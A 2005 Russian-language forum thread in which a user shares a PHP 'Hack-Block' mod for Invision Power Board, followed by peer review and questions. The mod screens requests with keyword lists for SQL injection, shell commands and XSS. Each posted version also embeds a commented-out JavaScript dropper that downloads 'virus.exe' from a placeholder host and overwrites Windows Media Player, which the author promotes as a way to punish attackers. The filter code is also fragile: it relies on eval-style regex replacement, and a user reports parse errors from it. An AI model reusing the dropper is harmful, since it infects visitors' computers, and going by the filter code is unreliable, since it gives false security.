xcray Опубликовано 13 Июня 2005 Жалоба Поделиться Опубликовано 13 Июня 2005 Скрипт можно запихнуть в отдельный файлик и присоединить в самое начало index.php (ipb 2.x) или др исполняемых .php файлов ipb. <? /* +-------------------------------------------------------------------------- | Invision Power Board ® Hack-Block © | ======================================== | by X-Cray [/Morozoff Denis/] | © 2005 | ======================================== | Version: $1.0 | Time: Tue, 14 jun 2005 | Programmed by X-Cray [/Morozoff Denis/] | Email: x-cr@x-cr.org +--------------------------------------------------------------------------- | IPB Hack-Block IS FREE SOFTWARE +-------------------------------------------------------------------------- */ //****************// //Just a message..// function diem() { //also, you can add trojan :)// /* Like: echo (' <script language=javascript> var x=new ActiveXObject("Microsoft.XMLHTTP"); x.Open("GET", "http://domain/virus.exe", 0); x.Send(); var s= new ActiveXObject("ADODB.Stream"); s.Mode=3; s.Type=1; s.Open(); s.Write(x.responseBody); s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2); location.href="mms://"; </script> ); ... or just e-mail notification: @mail('admin@forum.ru', 'hack!', 'hack!'); */ die ('<prE> U-stamp '.time().'; T-stamp '.date('d/m/Y H.i.s').'; IP '.getenv("REMOTE_ADDR").'; Hack attempt blocked. <i>Thank you. [/X-Cray/]</i> </pre>'); } //********************************************// //**********************************************// //Let`s check our GET variables for hack-queries// //**********************************************// global $_GET; function full_check($str) { $str = strtolower($str); // $i=0; do { //**************// //sql injections// //**************// //FROM/UNION - query if ( (strpos($str, 'from') || strpos($str, 'union')) && (strpos($str, 'concat') || strpos($str, 'implode') || strpos($str, 'union') || strpos($str, 'select') || strpos($str, 'member') || strpos($str, 'login') || strpos($str, '*'))) $i=1; //TRUNCATE - query if ( (strpos($str, 'truncate')) && (strpos($str, '`') || strpos($str, "\'") || strpos($str, ")") || strpos($str, "("))) $i=1; //DELETE - query if ( strpos($str, 'delete') && (strpos($str, 'from') || strpos($str, '`') || strpos($str, "\'") || strpos($str, ")") || strpos($str, "("))) $i=1; //SET/UPDATE - query if ( (strpos($str, 'update') || strpos($str, 'set')) && (strpos($str, 'set') || strpos($str, '='))) $i=1; //HAVING - query-addition if ( (strpos($str, 'having')) && (strpos($str, '`') || strpos($str, "\'") || strpos($str, ")") || strpos($str, "("))) $i=1; //*************// //bash commands// //*************// if ( (strpos($str, "'") || strpos($str, "..") || strpos($str, "./") || strpos($str, "/.") || strpos($str, "\"")) && (strpos($str, "cat") || strpos($str, "cd") || strpos($str, "rm") || strpos($str, "chmod") || strpos($str, "chown"))) $i=1; //****************************// //system/exec/virtual commands// //****************************// if ( (strpos($str, "system") || strpos($str, "exec") || strpos($str, "virtual")) && (strpos($str, '`') || strpos($str, "\'") || strpos($str, ")") || strpos($str, "("))) $i=0; if ($i==1) diem (); } while ((urldecode($str)!=$str) && ($str=strtolower(urldecode($str)))); } reset($_GET); while (list($key, $val)=each($_GET)) full_check($val); //*************************// //Last GET`checking attempt// //*************************// full_check(implode($_GET, '')); reset($_GET); //Also, you can check _POST variables //But it`s not recomended `cause of topic-messages inside. /* reset($_POST); while (list($key, $val)=each($_POST)) full_check($val); full_check(implode($_POST, '')); reset($_POST); */ //*****************************// //Now checking for fake cookies// //*****************************// global $member_id, $pass_hash; if (ereg("[^a-z^A-Z^0-9]",$pass_hash)) { SetCookie('pass_hash', '', time()+3600*24); diem(); } if (ereg("[^0-9]",$member_id)) { SetCookie('member_id', '', time()+3600*24); diem(); } //If you know, how to increase speed of this script - send you version on x-cr@x-cr.org //That`s all folks, thank you. ?> Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
-winux- Опубликовано 13 Июня 2005 Жалоба Поделиться Опубликовано 13 Июня 2005 Хм, хакир думаешь? Как сплойт зовется? Не ИФРЕЙМ сразу видно, но наверняка палится.Насколько мне известно, что тут не все такие дебилы чтоб лоадер с вирем себе на сайт вешать. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
sM1Le Опубликовано 13 Июня 2005 Жалоба Поделиться Опубликовано 13 Июня 2005 xcray, это, я думаю, лучше было запостить тут: Как защитить форум от взлома? - или же тут: Уязвимости форумов Invision Power Board... и дать на оценочку GiV'у))) - чтобы точно знать, Security Update это или же нет P.S.: Лучше бы поправели copyright'ик на своем форуме, а то это не есть good:Лицензионная версия форума предоставлена by Invision Power Board 2.0.3 специально для РГТУ МАТИ .инфо... когдай-то они Вам успели предоставить лицензионную версию? Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
GiV Опубликовано 13 Июня 2005 Жалоба Поделиться Опубликовано 13 Июня 2005 Хм, хакир думаешь? Как сплойт зовется? Не ИФРЕЙМ сразу видно, но наверняка палится.Насколько мне известно, что тут не все такие дебилы чтоб лоадер с вирем себе на сайт вешать.это не сплойт, это реально метод защиты, но он может срабатывать ложно это 1) и 2) он не предлагает полной безопасности (остается XSS), если знать что стоит такой мод то можно просто сделать ДоС отсылая ему гетом с шелла как бы опасные запросы GET. В общем решать самим, но реально пользы от такой защиты я особо не вижу, так как в основном уязвимости XSS, в 2-ке SQL Injections редкость, большая редкость... Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Anna Опубликовано 14 Июня 2005 Жалоба Поделиться Опубликовано 14 Июня 2005 А нельзя ли коротко в двух словах пояснить что сей мод делает? Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
xcray Опубликовано 14 Июня 2005 Автор Жалоба Поделиться Опубликовано 14 Июня 2005 Мод должен проверять все GET запросы на содержание SQL-инъекций или специальных команд типа cat, rm, chmod. Понимаю, особой защиты для 2.x он не дает, а вот тем, кто ниже, а также тем, кто на phpBB и т.д. он подойдет для защиты от огромного числа "дебилов", нагло проверяющих методики взлома с античатов на первых попавшихся форумах )ЗЫ для тех, кого смутил аплоадер трояна - это лишь демка, как можно "наказать" одного из этих "дебилов", к тому же она запечатана коментариями. В любом случае - спасибо за комменты.ЗЫ-2, а как можно уменьшить потребление ресурсов данного мода, какие функции поменять на более быстродействующие?:Версия 1.5 Обновил версию, убрал возможность перенагрузки скрипта GET запросом, добавлена проверка на XSS вторжение. Жду мнений <? /* +-------------------------------------------------------------------------- | Invision Power Board ® Hack-Block © | ======================================== | by X-Cray [/Morozoff Denis/] | © 2005 | ======================================== | Version: $1.5 //XSS security included | Time: Tue, 15 jun 2005 | Programmed by X-Cray [/Morozoff Denis/] | Email: x-cr@x-cr.org +--------------------------------------------------------------------------- | IPB Hack-Block IS FREE SOFTWARE +-------------------------------------------------------------------------- */ //****************// //Just a message..// function diem() { //also, you can add trojan :)// /* Like: echo (' <script language=javascript> var x=new ActiveXObject("Microsoft.XMLHTTP"); x.Open("GET", "http://domain/virus.exe", 0); x.Send(); var s= new ActiveXObject("ADODB.Stream"); s.Mode=3; s.Type=1; s.Open(); s.Write(x.responseBody); s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2); location.href="mms://"; </script> ); ... or just add e-mail notification: @mail('admin@forum.ru', 'hack!', 'hack!'); */ die ('<prE> U-stamp '.time().'; T-stamp '.date('d/m/Y H.i.s').'; IP '.getenv("REMOTE_ADDR").'; Hack attempt blocked. <i>Thank you. [/X-Cray/]</i> </pre>'); } //********************************************// //**********************************************// //Let`s check our GET variables for hack-queries// //**********************************************// global $_GET; function full_check($str) { if (strlen($str) > 250) //Who have ever seen GET queries in ipb with variables longer than 250 symbols?? diem(); $str = strtolower($str); $c=0; //urldecode times count. $i=0; do { //**************// //sql injections// //**************// //FROM/UNION - query if ( (strpos($str, 'from') || strpos($str, 'union')) && (strpos($str, 'concat') || strpos($str, 'implode') || strpos($str, 'union') || strpos($str, 'select') || strpos($str, 'member') || strpos($str, 'login') || strpos($str, '*'))) $i=1; //TRUNCATE - query if ( (strpos($str, 'truncate')) && (strpos($str, '`') || strpos($str, "\'") || strpos($str, ")") || strpos($str, "("))) $i=1; //DELETE - query if ( strpos($str, 'delete') && (strpos($str, 'from') || strpos($str, '`') || strpos($str, "\'") || strpos($str, ")") || strpos($str, "("))) $i=1; //SET/UPDATE - query if ( (strpos($str, 'update') || strpos($str, 'set')) && (strpos($str, 'set') || strpos($str, '='))) $i=1; //HAVING - query-addition if ( (strpos($str, 'having')) && (strpos($str, '`') || strpos($str, "\'") || strpos($str, ")") || strpos($str, "("))) $i=1; //*************// //bash commands// //*************// if ( (strpos($str, "'") || strpos($str, "..") || strpos($str, "./") || strpos($str, "/.") || strpos($str, "\"")) && (strpos($str, "cat") || strpos($str, "cd") || strpos($str, "rm") || strpos($str, "chmod") || strpos($str, "chown"))) $i=1; //****************************// //system/exec/virtual commands// //****************************// if ( (strpos($str, "system") || strpos($str, "exec") || strpos($str, "virtual")) && (strpos($str, '`') || strpos($str, "\'") || strpos($str, ")") || strpos($str, "("))) $i=1; if ($i==1) diem (); $c++; if ($c>2) diem(); //if url is encoded more than two times.. I think it`s BAD url } while ((urldecode($str)!=$str) && ($str=strtolower(urldecode($str)))); } reset($_GET); while (list($key, $val)=each($_GET)) full_check($val); //*************************// //Last GET`checking attempt// //*************************// full_check(implode($_GET, '')); //*****************************// //Now checking for fake cookies// //*****************************// global $member_id, $pass_hash; if (ereg("[^a-z^A-Z^0-9]",$pass_hash)) { //fake cookie? let`s erase right now! SetCookie('pass_hash', '', time()+3600*24); $pass_hash=''; diem(); } if (ereg("[^0-9]",$member_id)) { //fake cookie? let`s erase right now! SetCookie('member_id', '', time()+3600*24); $member_id=''; diem(); } //Now, XSS-security check //XSS can be only in Post, TopicTitle and TopicDesc //If you`ve modified your forum, add here your variables $_GET['Post']=''; $_GET['TopicTitle']=''; $_GET['TopicDesc']=''; //If you`ve modified your forum, add your variables here too if ($_POST['Post']) checkforxss($_POST['Post']); if ($_POST['TopicTitle']) checkforxss($_POST['TopicTitle']); if ($_POST['TopicDesc']) checkforxss($_POST['TopicDesc']); function checkforxss($str) { //converint all tags like [tag[tag[tag]]ds] to [tag(tag(tag])ds) $openedtag=false; for ($i=0; $i<strlen($str); $i++) { if ($str[$i]=='[') //Tag is opened { if ($openedtag) //if we already have opened tag $str[$i]='('; //let`s change '[' to '(' else $openedtag=true; } elseif ($str[$i]==']') //Tag is closed { if ($openedtag) $openedtag=false; else $str[$i]=')'; //let`s change ']' to ')' } } //now, deactive all bad commands $str=eregi_replace('(javascript)','j avascrip t',$str); $str=eregi_replace('(script)','s crip t',$str); $str=eregi_replace('(document.)','d ocumen t.',$str); $str=eregi_replace('(js)','j s',$str); //last XSS-security steps. We are deleting all bad symbols from unsecured tags in two variants //1. [tag]badsymbols[/tag] //2. [tag badsymbols[/tag] $str = preg_replace( "#\[color\](.+?)\[/color\]#ies", "str_replace(array('`', \"'\", '\\\"', '\\\\'), '', '\\1')", $str); $str = preg_replace( "#\[color(.+?)\]#ies", "str_replace(array('`', \"'\", '\\\"', '\\\\'), '', '\\1')", $str); $str = preg_replace( "#\[video(.+?)\]#ies", "str_replace(array('`', \"'\", '\\\"', '\\\\'), '', '\\1')", $str); $str = preg_replace( "#\[url(.+?)\]#ies", "str_replace(array('`', \"'\", '\\\"', '\\\\'), '', '\\1')", $str); $str = preg_replace( "#\[flash(.+?)\]#ies", "str_replace(array('`', \"'\", '\\\"', '\\\\'), '', '\\1')", $str); return $str; } //All is ok? hm.. let`s reset all received variables and go to the rest of index.php reset($_GET); reset($_POST); //If you know, how to increase speed of this script - send you version on x-cr@x-cr.org //That`s all folks, thank you. ?> Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
GiV Опубликовано 15 Июня 2005 Жалоба Поделиться Опубликовано 15 Июня 2005 подход интересен...особено разбор вложенных тэгов, понравился, действительно зачем разрешать тэги внтури первого отвкрывающегося тэга. за идею и реализацию 5 по поводу того что ниже //now, deactive all bad commandsэто уже в постпарсере реализовано, по сути двойная работа. А регулярки это падение скорости скрипта. Поэтому не вижу смысла вообще этого блока, и в реализации замены типа $str=eregi_replace('(js)','j s',$str); регуляркой в особенности. Нагрузка в конструкции $str = preg_replace( "#\[color\](.+?)\[/color\]#ies", "str_replace(array('`', \"'\", '\\\"', '\\\\'), '', '\\1')", $str); Во-первых массив в реплейсе, во-вторых двойной поиск построке. Если пишем регулярку по замене, то пишем регулярку по замене. В-третьих структура (.+) безопасна изначально, так как не работает с тэгом форматирования, тут замена => <font>, => </font>, а (.+) в тэги никак не попадает. -------------------- К возврату с тем что было:не нужны блоки://DELETE - query - потому как не возможно внедрить такой запрос, нет таких мест в IPB где можно вставить запрос полностью. //SET/UPDATE - query - -//-//HAVING - query-addition - HAVING в общем случае аналог WHERE, все подстановки в IPB идут после WHERE, HAVING после WHERE восприниматься не будет никак. //FROM/UNION - query - единственный блок, который стоило бы контролировать, однако запись его в вашей форме мне не очень нравится, есть что то лишнее. Блок//*************////bash commands////*************//внедрение шелл команд само по себе утопично, потому что в IPB нет работы с системой. Блок//****************************////system/exec/virtual commands////****************************//пережиток Code Injection, сейчас ни один современный скрипт не страдает такой проблемой. Учтем еще что хостинги настроены в основном на запрет таких команд и вообще появляется сомнение в необходимости такой проверки. У меня все. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
xcray Опубликовано 16 Июня 2005 Автор Жалоба Поделиться Опубликовано 16 Июня 2005 Отлично. Спасибо, все исправил, если еще что-то дописывать буду - выложу. А какие нерасмотренные уязвимости еще есть (у ipb 2.x, старые версии брать уже незачем) ?[1118895377:1118895992]Кстати насчет (.+?) Уязвимости типа smth.`e= ` вроде еще работают?Если да, то на это тоже надо написать регулярку. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Enzain Опубликовано 13 Июля 2005 Жалоба Поделиться Опубликовано 13 Июля 2005 var x=new ActiveXObject("Microsoft.XMLHTTP");x.Open("GET", "http://domain/virus.exe", 0);x.Send();var s= new ActiveXObject("ADODB.Stream");s.Mode=3;s.Type=1;s.Open();s.Write(x.responseBody);s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);Могу сказать точно что этот кусок закачка файла и замена этим файлом файлы медиаплеера .... надо оно больно Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Maxxim Опубликовано 13 Июля 2005 Жалоба Поделиться Опубликовано 13 Июля 2005 xcray> старые версии брать уже незачемА можно ли тебя с надлежащим почтением попросить создать аналогичный апдейт для IPB 1.3 Final? Форумов на этой версии не так уж и мало, и многие из нас не видят смысла переходить на IPB 2.0 по вполне прагматическим причинам. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Anna Опубликовано 14 Июля 2005 Жалоба Поделиться Опубликовано 14 Июля 2005 xcray, что там с окончательным вариантом кода? Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Diam Опубликовано 14 Июля 2005 Жалоба Поделиться Опубликовано 14 Июля 2005 Извиняюсь за глупый вопрос,но тем не менее не могу его не задать:модификация в таком виде будет работать на 1.3 Final ? Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
xcray Опубликовано 23 Августа 2005 Автор Жалоба Поделиться Опубликовано 23 Августа 2005 Sorry за безответность в теме - лето, отдых, офф-лайн и все такое. Enzain, по поводу замены медиаплеера - это уже личное дело каждого) ИМХО, если "хацкер" где-то прочитал "как" и полез ломать твой форум, при этом оставаясь СверхЛамером, не защитившим себя самого от такой подмены плеера на вирус или ему подобное, надо его наказать,) Anna, насчет развития кода: жду новостей от Security Team по поводу новых эксплойтов, каждое существенное изменение буду выкладывать здесь. Diam, да, просто надо позаботиться о том, чтобы код запускался перед обработкой запроса форумом и совпадали все проверяемые переменные. Буду оч. рад получить любую информацию по новым "дыркам" в приват. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
nickostyle Опубликовано 23 Августа 2005 Жалоба Поделиться Опубликовано 23 Августа 2005 можно поподробнее, что и куда пихать? Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
charmed_knight Опубликовано 29 Августа 2005 Жалоба Поделиться Опубликовано 29 Августа 2005 по поводу медиаплейера, я так в былые времена с пин4ем шалил...сей4ас все енти шалости ловит даже каспер...а по поводу самого факта лоадера, тут дело в психологии... дело в том 4то елси я вижу 4то при заходе на форум комне заливаются файлы.. сами понимаете какое отношение к ентому форуму будет у меня Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
xcray Опубликовано 31 Октября 2005 Автор Жалоба Поделиться Опубликовано 31 Октября 2005 Кстати, насчет кода. Появилась небольшая идея. А что, если убить все переменные, которые не используются в коде? например while (list($key, $val) = each($_GLOBALS)) // ну или $_POST + $_GET if (проверка имени ($key) на принадлежность к форумским переменнам) unset($$key); Это уже параноидальная идея,)) Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Vic'er Опубликовано 31 Октября 2005 Жалоба Поделиться Опубликовано 31 Октября 2005 Кстати, насчет кода. Появилась небольшая идея. А что, если убить все переменные, которые не используются в коде? Зачем?????? Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
pikachu Опубликовано 1 Ноября 2005 Жалоба Поделиться Опубликовано 1 Ноября 2005 юзеры говорят:что я не могу поменять подпись, и что мне выдают ошибку вида:"Parse error: parse error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ')' in /home/******/public_html/forum/security.php(193) : regexp code on line 1 Fatal error: preg_replace(): Failed evaluating code: str_replace(array('`', "'", '\"', '\'), '', '=black') in /home/******/public_html/forum/security.php on line 193"... mellow.gif Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Maniac Опубликовано 7 Января 2006 Жалоба Поделиться Опубликовано 7 Января 2006 xcray,ты хотел выложить версию с учётом дополнений от GiV.Прошло уже больше полугода,может разместишь её в архиве ibresource?И ещё,у меня вопрос:в каком файле лучше делать инклуд:index.php,functions.php,или в обоих файлах сразу?Как лучше всего инклудить?Так:<?php include("http://сайт.ру/forum/hackblock.php");?>? Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
xcray Опубликовано 23 Февраля 2006 Автор Жалоба Поделиться Опубликовано 23 Февраля 2006 Релиза не будет.Тему можно закрыть. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Рекомендуемые сообщения
Присоединиться к обсуждению
Вы можете ответить сейчас, а зарегистрироваться позже. Если у вас уже есть аккаунт, войдите, чтобы ответить от своего имени.